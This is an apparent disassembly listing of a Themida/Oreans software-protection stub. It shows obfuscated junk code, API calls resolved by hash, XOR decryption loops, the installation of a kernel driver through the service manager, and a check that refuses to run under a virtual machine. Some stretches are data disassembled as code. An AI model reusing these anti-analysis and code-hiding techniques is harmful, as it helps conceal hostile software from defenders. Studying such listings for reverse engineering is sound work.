		add	edi, [ebp+613B427h]
		cmp	dword ptr [ebp+613B427h], 0
		jz	loc_5752D0
		mov	dword ptr [ebp+6111E15h], 1


loc_5752D0:				; CODE XREF: sub_5750B9+207j
		jmp	loc_5752D6
; ---------------------------------------------------------------------------


loc_5752D5:				; CODE XREF: sub_5750B9+229j
		inc	edi


loc_5752D6:				; CODE XREF: sub_5750B9:loc_5752D0j
		cmp	byte ptr [edi],	20h
		jz	locret_5752E8
		cmp	byte ptr [edi],	0
		jnz	loc_5752D5

locret_5752E8:				; CODE XREF: sub_5750B9+220j
		retn
sub_5750B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_5752E9	proc near		; CODE XREF: sub_5750B9+6p
					; sub_5750B9+2Fp ...
		pusha
		mov	ecx, 1
		mov	ebx, esi
		jmp	loc_575315
; ---------------------------------------------------------------------------


loc_5752F6:				; CODE XREF: sub_5752E9+37j
		cmp	byte ptr [edi],	0
		jnz	loc_575304
		mov	ecx, 0


loc_575304:				; CODE XREF: sub_5752E9+10j
		mov	dl, [edi]
		cmp	[esi], dl
		jz	loc_575313
		mov	ecx, 0


loc_575313:				; CODE XREF: sub_5752E9+1Fj
		inc	esi
		inc	edi


loc_575315:				; CODE XREF: sub_5752E9+8j
		cmp	byte ptr [esi],	0
		jz	loc_575326
		or	ecx, ecx
		jnz	loc_5752F6


loc_575326:				; CODE XREF: sub_5752E9+2Fj
		or	ecx, ecx
		jz	loc_57534F
		cmp	byte ptr [edi],	0
		jz	loc_575340
		cmp	byte ptr [edi],	20h
		jnz	loc_57534A


loc_575340:				; CODE XREF: sub_5752E9+48j
		mov	ecx, 1
		jmp	loc_57534F
; ---------------------------------------------------------------------------


loc_57534A:				; CODE XREF: sub_5752E9+51j
		mov	ecx, 0


loc_57534F:				; CODE XREF: sub_5752E9+3Fj
					; sub_5752E9+5Cj
		or	ecx, ecx
		jz	loc_575364
		sub	esi, ebx
		mov	[ebp+613B427h],	esi
		jmp	loc_57536E
; ---------------------------------------------------------------------------


loc_575364:				; CODE XREF: sub_5752E9+68j
		mov	dword ptr [ebp+613B427h], 0


loc_57536E:				; CODE XREF: sub_5752E9+76j
		popa
		retn
sub_5752E9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575018


loc_575370:				; CODE XREF: sub_575018+34j
					; sub_575018+3Ej ...
		mov	eax, 0
		or	eax, eax
		jz	loc_575387
		mov	dword ptr [ebp+6110E65h], 0


loc_575387:				; CODE XREF: sub_575018+35Fj
		mov	ecx, eax
		jmp	loc_57559C
; END OF FUNCTION CHUNK	FOR sub_575018
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		align 4
		dd 67h dup(0)
		dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575018


loc_57559C:				; CODE XREF: sub_575018+371j
		jmp	loc_575690
; END OF FUNCTION CHUNK	FOR sub_575018
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+61106D1h], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+6110ED1h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		push	104h
		lea	ebx, [ebp+6112499h]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+613B9C0h]
		mov	edi, esi
		xor	al, al


loc_5755D4:				; CODE XREF: Themida_:005755D5j
		scasb
		jnz	loc_5755D4
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+61106D1h], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+6110ED1h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		lea	esi, [ebp+6112499h]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+61106D1h], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+6110ED1h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		lea	edi, [ebp+6110A75h]
		lea	ecx, [ebp+613BAE6h]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_575672
		lea	esi, [ebp+613B7C8h]
		lea	eax, [ebp+613A44Dh]
		call	eax
		lea	ecx, [ebp+6117197h]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_575672:				; CODE XREF: Themida_:00575651j
		mov	byte ptr [ebp+61106D1h], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+6110ED1h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575018


loc_575690:				; CODE XREF: sub_575018:loc_57559Cj
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_5756A7
; END OF FUNCTION CHUNK	FOR sub_575018
; ---------------------------------------------------------------------------
		mov	eax, ebx
; START	OF FUNCTION CHUNK FOR sub_575018


loc_5756A7:				; CODE XREF: sub_575018+688j
		jmp	loc_578E7C
; END OF FUNCTION CHUNK	FOR sub_575018
; ---------------------------------------------------------------------------
		dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0
		dd 40h,	8 dup(0)
		dd 0B0h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
		dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
		dd 454Ch, 0
		dd 40002h, 0
		dd 38000h, 14h,	4 dup(0)
		dd 200h, 1C0h, 90h, 0
		dd 7Eh,	0
		dd 0C4h, 1, 0DCh, 3 dup(0)
		dd 12Ch, 138h, 2 dup(0)
		dd 142h, 196h, 1D2h, 0
		dd 1D2h, 0
		dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
		dd 4000000h, 27C0h, 0
		dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
		dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
		dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h,	110000h
		dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
		dd 10301h, 3, 0
		dd 13h dup(70000h), 3C0000h, 70000h, 60010018h,	0AD000727h
		dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
		dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
		dd 7279801h, 1016B00h, 2771h, 360h dup(0)
		dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp		db 'verPP',0
		align 10h
a1vsr2vsr3vsr	db '1vsR2vsR3vsR',0
		align 10h
		dd 9C3h	dup(0)
; ---------------------------------------------------------------------------
		sub	eax, 1Bh
		cmp	eax, 9
		jnb	short loc_578E1B
		jmp	dword ptr ds:0[eax*4]
; ---------------------------------------------------------------------------


loc_578E1B:				; CODE XREF: Themida_:00578E12j
		clc
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 8 dup(0)
		dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
		dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
		dd 5250580Ch, 5856544Fh, 44445F44h, 42h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575018


loc_578E7C:				; CODE XREF: sub_575018:loc_5756A7j
		call	sub_578E95
		pop	esi
		arpl	dx, dx
		add	cl, [eax+ecx]	; CODE XREF: sub_575018+3E73j
		push	ebx
		xor	dl, [eax]
		cli
		jb	short near ptr loc_578E84+1
; END OF FUNCTION CHUNK	FOR sub_575018
; ---------------------------------------------------------------------------
		db 0C4h, 0C6h, 0F2h
		dd 7798089Bh
		db 7Ch

; =============== S U B	R O U T	I N E =======================================



sub_578E95	proc near		; CODE XREF: sub_575018:loc_578E7Cp
		movsx	edi, bx
		pop	esi
		adc	ebx, 7FCE0706h
		add	esi, 6010h
		mov	ebx, ecx
		xor	ecx, ecx
		jz	loc_578EB2
		movsx	edi, di


loc_578EB2:				; CODE XREF: sub_578E95+14j
					; sub_578E95+76j
		mov	edx, [esi+ecx]
		add	ebx, [ebp+6110299h]
		xor	edx, 3419B9F8h
		jg	loc_578ECB
		mov	di, 0C234h


loc_578ECB:				; CODE XREF: sub_578E95+2Cj
		xor	edx, 4A6CAB8Ah
		cld
		xor	edx, 1B069205h
		movsx	ebx, si
		mov	[esi+ecx], edx
		pusha
		jmp	loc_578EF7
; ---------------------------------------------------------------------------
		dd 8476F119h, 53D5691Dh, 0B18C8F49h, 587B650Ah
		db 0D9h, 4Eh, 73h
; ---------------------------------------------------------------------------


loc_578EF7:				; CODE XREF: sub_578E95+4Aj
		mov	dh, 0C4h
		popa
		mov	ebx, esi
		sub	ecx, 4
		mov	edi, [ebp+6110015h]
		cmp	ecx, 0FFFFA07Ch
		jnz	loc_578EB2
		jmp	loc_579FCD
; ---------------------------------------------------------------------------
		dw 4441h
		dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
		dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
		dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
		dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
		dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
		dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
		dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
		dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0)
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 21h dup(0)
		dd 53000000h, 7774666Fh, 5C657261h, 656E6957h
		db 0
; ---------------------------------------------------------------------------


loc_579FCD:				; CODE XREF: sub_578E95+7Cj
		mov	eax, esp
		jmp	loc_579FE0
; ---------------------------------------------------------------------------
		dd 6F0E227Bh, 15EBE437h, 8C1ADC33h
; ---------------------------------------------------------------------------


loc_579FE0:				; CODE XREF: sub_578E95+113Aj
		mov	[ebp+6112BF9h],	eax
		push	0
		push	esi
		call	sub_579FF1
		and	[esi-3Dh], bl
sub_578E95	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_579FF1	proc near		; CODE XREF: sub_578E95+1154p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_579FF1	endp

; ---------------------------------------------------------------------------
		db 54h,	78h, 94h
; ---------------------------------------------------------------------------
		jnz	short loc_57A081
		mov	ecx, [ebp+6110281h]
		mov	eax, eax
		push	0
		push	edi
		call	sub_57A019
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A019	proc near		; CODE XREF: Themida_:0057A011p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_57A019	endp

; ---------------------------------------------------------------------------
		db 0C5h, 0DAh, 41h
		dd 0A0D377F5h, 9589C65Dh, 61132D1h, 25F1BD83h, 75000611h
		dd 3DBD8309h, 61124h, 53501974h, 3DB8C08Bh, 89000004h
		dd 111D4D85h, 299D8D06h, 0FF0613B2h, 83585BD3h,	11243DBDh
		dd 17740006h, 3DB85350h, 89000004h, 111D4D85h, 189D8D06h
		dd 0FF0613AFh
		db 0D3h
; ---------------------------------------------------------------------------


loc_57A081:				; CODE XREF: Themida_:0057A004j
		pop	ebx
		pop	eax
		or	dl, 26h
		mov	cx, 9524h
		mov	eax, eax
		pusha
		mov	al, 9Ah
		mov	ecx, [ebp+61117E5h]
		popa
		mov	eax, eax
		push	0
		push	ecx
		call	sub_57A0A3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A0A3	proc near		; CODE XREF: Themida_:0057A09Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_57A0A3	endp

; ---------------------------------------------------------------------------
		db 0C6h
		dd 796477F0h, 9AFF3A95h, 7A9B589h, 0BD830611h, 61125F1h
		dd 83097500h, 11243DBDh, 13740006h, 0C08B5350h,	0B8h, 0CB9D8D00h
		dd 0FF0613B0h, 83585BD3h, 11243DBDh, 11740006h,	0B85350h
		dd 8D000000h, 13AF7C9Dh, 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 84030BD3h
		dd 0D03165C8h, 0CA18BAFDh, 850F791Ch, 18h, 13E9h, 4F8A3A00h
		dd 60F2FD2Eh, 0B974501Bh, 0F3A15D9Dh, 0BA11CAD7h, 0C08BC08Bh
		dd 10E9h, 48E3A600h, 0FEF81CCBh, 0C7707840h, 0C680FB67h
		dd 0F1BD8326h, 61125h, 0BD830975h, 611243Dh, 50137400h
		dd 0B8C08B53h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+613AFFDh]
		call	ebx
		pop	ebx
		pop	eax
		cmp	dword ptr [ebp+611243Dh], 0
		jz	short loc_57A1A0
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+613AF4Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_57A1A0:				; CODE XREF: Themida_:0057A18Dj
		push	0
		push	esi
		call	sub_57A1AB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A1AB	proc near		; CODE XREF: Themida_:0057A1A3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_57A1AB	endp

; ---------------------------------------------------------------------------
		db 42h
		dd 71BFDF99h, 840F7D72h, 2, 8D8BD38Bh, 61103F1h, 9589C08Bh
		dd 6110C85h, 10E9C08Bh,	0DF000000h, 11187461h, 0FAF3CED8h
		dd 574C66F3h, 0F0DA12Fh, 68Bh, 3D958B00h, 83061113h, 1125F1BDh
		dd 9750006h, 243DBD83h,	74000611h, 8B535013h, 0B8C0h, 9D8D0000h
		dd 613B064h, 585BD3FFh,	243DBD83h, 74000611h, 0B8535011h
		dd 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+613AF63h]
		call	ebx
		pop	ebx
		pop	eax
		push	0
		push	edi
		call	sub_57A245
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A245	proc near		; CODE XREF: Themida_:0057A23Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_57A245	endp

; ---------------------------------------------------------------------------
		or	ch, [edx-35h]
		push	ecx
		jnb	loc_57A261
		mov	dl, 0BEh


loc_57A261:				; CODE XREF: Themida_:0057A259j
		pop	edx
		mov	dx, 21B1h
		mov	edi, eax
		mov	eax, eax
		and	ch, 38h
		mov	eax, eax
		push	0
		push	edi
		call	sub_57A27A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A27A	proc near		; CODE XREF: Themida_:0057A272p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_57A27A	endp

; ---------------------------------------------------------------------------
		mov	esp, 0DAA80F3Ch
		push	esi
		and	ecx, [ebx+11145995h]
		push	es
		cmp	dword ptr [ebp+61125F1h], 0
		jnz	short loc_57A2A9
		cmp	dword ptr [ebp+611243Dh], 0
		jz	short loc_57A2BC


loc_57A2A9:				; CODE XREF: Themida_:0057A29Ej
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+613AF96h]
		call	ebx
		pop	ebx
		pop	eax


loc_57A2BC:				; CODE XREF: Themida_:0057A2A7j
		push	0
		push	ecx
		call	sub_57A2C7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A2C7	proc near		; CODE XREF: Themida_:0057A2BFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_57A2C7	endp

; ---------------------------------------------------------------------------
		db 6Fh
		dd 0FD89E6C8h, 0FCE1D73h, 382h,	0D68B6600h, 0EE9h, 4CF2D100h
		dd 919E0483h, 52AE9DD0h, 8989F9F1h, 1127E18Dh, 89C08B06h
		dd 11265985h, 0FC08B06h, 683h, 31952900h, 81061113h, 52EACAE1h
		dd 0F1BD836Bh, 61125h, 0BD830975h, 611243Dh, 50197400h
		dd 0B8C08B53h, 7D0h, 1D4D8589h,	9D8D0611h, 613B229h, 585BD3FFh
		dd 243DBD83h, 74000611h, 0B8535017h, 7D0h, 1D4D8589h, 9D8D0611h
		dd 613AF18h, 585BD3FFh,	0C8C0FF5h, 0F000000h, 683h, 73D18100h
		dd 6A3E6B8Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0E881C355h, 6A2A8864h,	41958BEBh
		dd 8B061124h, 0C6FA8BC0h, 1106D185h, 0DA805306h, 5F9068C6h
		dd 4AB59939h, 0FF5DC580h, 110ED1B5h, 5E906h, 402F0000h
		dd 8DE89883h, 113AA685h, 18E18006h, 9D89D0FFh, 61100A5h
		dd 1DA98589h, 0C6FC0611h, 1106D185h, 68F55706h,	90045206h
		dd 0ED1B5FFh, 8D890611h, 6112CA5h, 3AA6858Dh, 0D0FF0611h
		dd 30BD8589h, 85890611h, 611150Dh, 0C718D89h, 85C60611h
		dd 61106D1h, 0BE843h, 0D7AF0000h, 20A487A6h, 0F69365F2h
		dd 6D8D8BF4h, 5F061124h, 90702868h, 57006ABCh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0C1849AF7h
		dd 4DBC8188h, 1245BD8Bh, 8D8B0611h, 6112129h, 0ED1B5FFh
		dd 820F0611h, 6, 3C1958Bh, 858D0611h, 6113AA6h,	8529D0FFh
		dd 61106A1h, 0F698589h,	0F1810611h, 1E2D43A6h, 6D185C6h
		dd 94C0611h, 1129199Dh,	1CE96806h, 0BD8BD9DAh, 611140Dh
		dd 0ED1B5FFh, 0BA660611h, 858D1349h, 6113AA6h, 22F98D0Bh
		dd 0D0FF0611h, 9C98D29h, 85890611h, 6112131h, 44EA8166h
		dd 0D185C663h, 46061106h, 4971BA66h, 0DE061468h, 6D280BAh
		dd 0ED1B5FFh, 8DF90611h, 113AA685h, 0AD958906h,	0FF06110Fh
		dd 55006AD0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0BA6BB26Eh, 46CC0EA2h, 11D8589h,	11E90611h
		dd 87000000h, 8002FEAAh, 7F02F7C7h, 0CB0C33C5h,	0E6CABA60h
		dd 6D185C6h, 66470611h,	6854B3B9h, 8A0FB5E2h, 0BE9h, 0BD395700h
		dd 0D1A5190Ah, 5C994116h, 0ED1B5FFh, 0B5890611h, 6110B8Dh
		dd 3AA6858Dh, 8B660611h, 0D5BD8BD7h, 0FF06110Ah, 85958BD0h
		dd 8B061123h, 111239BDh, 9D858906h, 0C606111Bh,	1106D185h
		dd 8B0F4706h, 4, 0D375BA66h, 0D0B5F368h, 0A5958983h, 0FF06112Bh
		dd 110ED1B5h, 0FB8B6606h, 2A559589h, 858D0611h,	6113AA6h
		dd 0CE0D3B9h, 8BD0FF04h, 112CA995h, 6D858906h, 0C6061128h
		dd 1106D185h, 950B7706h, 6110679h, 97A8A368h, 2820FF3h
		dd 8B000000h, 9B5FFFEh,	8D06110Bh, 113AA685h, 0BBF6606h
		dd 0FD0FFBDh, 0C85h, 6820F00h, 89000000h, 11180D95h, 1D858906h
		dd 89061128h, 1121F195h, 0D185C606h, 47061106h,	0DC1958Bh
		dd 0F6680611h, 528728FAh, 4718D09h, 0FF590611h,	110ED1B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0F32EED43h, 9D3BF05Ah, 8589B657h, 6112C85h
		dd 3AA6858Dh, 6A0611h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0C794DC3h, 10E929h, 1DD50000h, 5FB824F0h
		dd 0F0C331B6h, 8988D96Ah, 0D0FF791Fh, 16DA8060h, 50615F57h
		dd 8959A8B6h, 11070985h, 0E3D58006h, 6D185C6h, 6A430611h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0FC8FC356h, 1DC7362Ah, 0B58976B1h, 6111EC9h
		dd 8E6EFC68h, 0D7BF0FBCh, 0ED1B5FFh, 0F98B0611h, 3AA6858Dh
		dd 0BF660611h, 8A0FDFA5h, 6, 323DBD8Bh,	0D0FF0611h, 2C558531h
		dd 85890611h, 6112A5Dh,	2A00E281h, 85C618FEh, 61106D1h
		dd 55006A45h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0E70A6BA9h, 0EF816635h, 69683825h, 8B8E7269h
		dd 1121F18Dh, 0D1B5FF06h, 6606110Eh, 8DC3A0B9h,	113AA685h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 815E8D76h, 0A2E771BAh, 0D7B70F11h, 2AA1BD0Bh
		dd 8B660611h, 6AD0FFD0h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 60BEC353h, 0FC18A60h
		dd 8B61C8B7h, 958B61C8h, 6110049h, 32A58589h, 12B90611h
		dd 0C6351D49h, 1106D185h, 6E94406h, 54000000h, 0D47DBAC5h
		dd 0EC646853h, 0D08AB8F2h, 0FFD3BF0Fh, 110ED1B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 33CE11F6h, 112181BDh, 0C98D2B06h, 8D061114h,	113AA685h
		dd 0D3BF0F06h, 0FFF98B66h, 0DDB589D0h, 8906110Ah, 11038985h
		dd 0B98D2906h, 0C6061117h, 1106D185h, 95894306h, 6113089h
		dd 0CE8h, 0A51FA500h, 39F8BD87h, 0C29CD4A8h, 6810F1Bh
		dd 89000000h, 111E418Dh, 0A7685906h, 89C0764Ah,	11303195h
		dd 0D1B5FF06h, 0E806110Eh, 6, 0EEA0EEC2h, 8F0FAED6h, 0Ch
		dd 6E8h, 0A0A5EE00h, 590FBA3Fh,	0A6858D5Ah, 8A06113Ah
		dd 29D0FFD7h, 1109218Dh, 0B9858906h, 52061105h,	1C159589h
		dd 805F0611h, 13FF3EBDh, 840F0006h, 0C2h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 81C35040h, 9783CD4Ah
		dd 3F7C3335h, 5E9h, 0D85BD100h,	858DE5E8h, 613FF20h, 851FBF50h
		dd 16A7B47h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	13C35545h, 2B9BF3A5h, 6ADF67h, 0BD8BE9B5h, 61129ADh
		dd 6EBF006Ah, 0FF2E093Ah, 110F6995h, 41B58906h,	8906111Eh
		dd 11128985h, 0B98D8906h, 6A061112h, 0D6BF0FFFh, 1289B5FFh
		dd 0FFFC0611h, 11150D95h, 13E806h, 0BC870000h, 0C1FC3C1Bh
		dd 0A32DD0h, 89BCDD8Fh,	2C7C52FBh, 7E831h, 49320000h, 0D81DAD68h
		dd 0FA8B668Ah, 0C08B5959h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0B9C35747h, 0BD01C3FFh, 6112C71h, 25F1BD83h
		dd 75000611h, 3DBD8309h, 61124h, 53501974h, 0D1B8C08Bh
		dd 89000007h, 111D4D85h, 299D8D06h, 0FF0613B2h,	83585BD3h
		dd 11243DBDh, 17740006h, 0D1B85350h, 89000007h,	111D4D85h
		dd 189D8D06h, 0FF0613AFh, 6A585BD3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B61C353h
		dd 1103658Dh, 69CF8106h, 8B0F6C09h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 7A6F1B2Dh
		dd 0C66E4A78h, 1106D185h, 6A4706h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 149FF7C3h, 3C80B2BFh
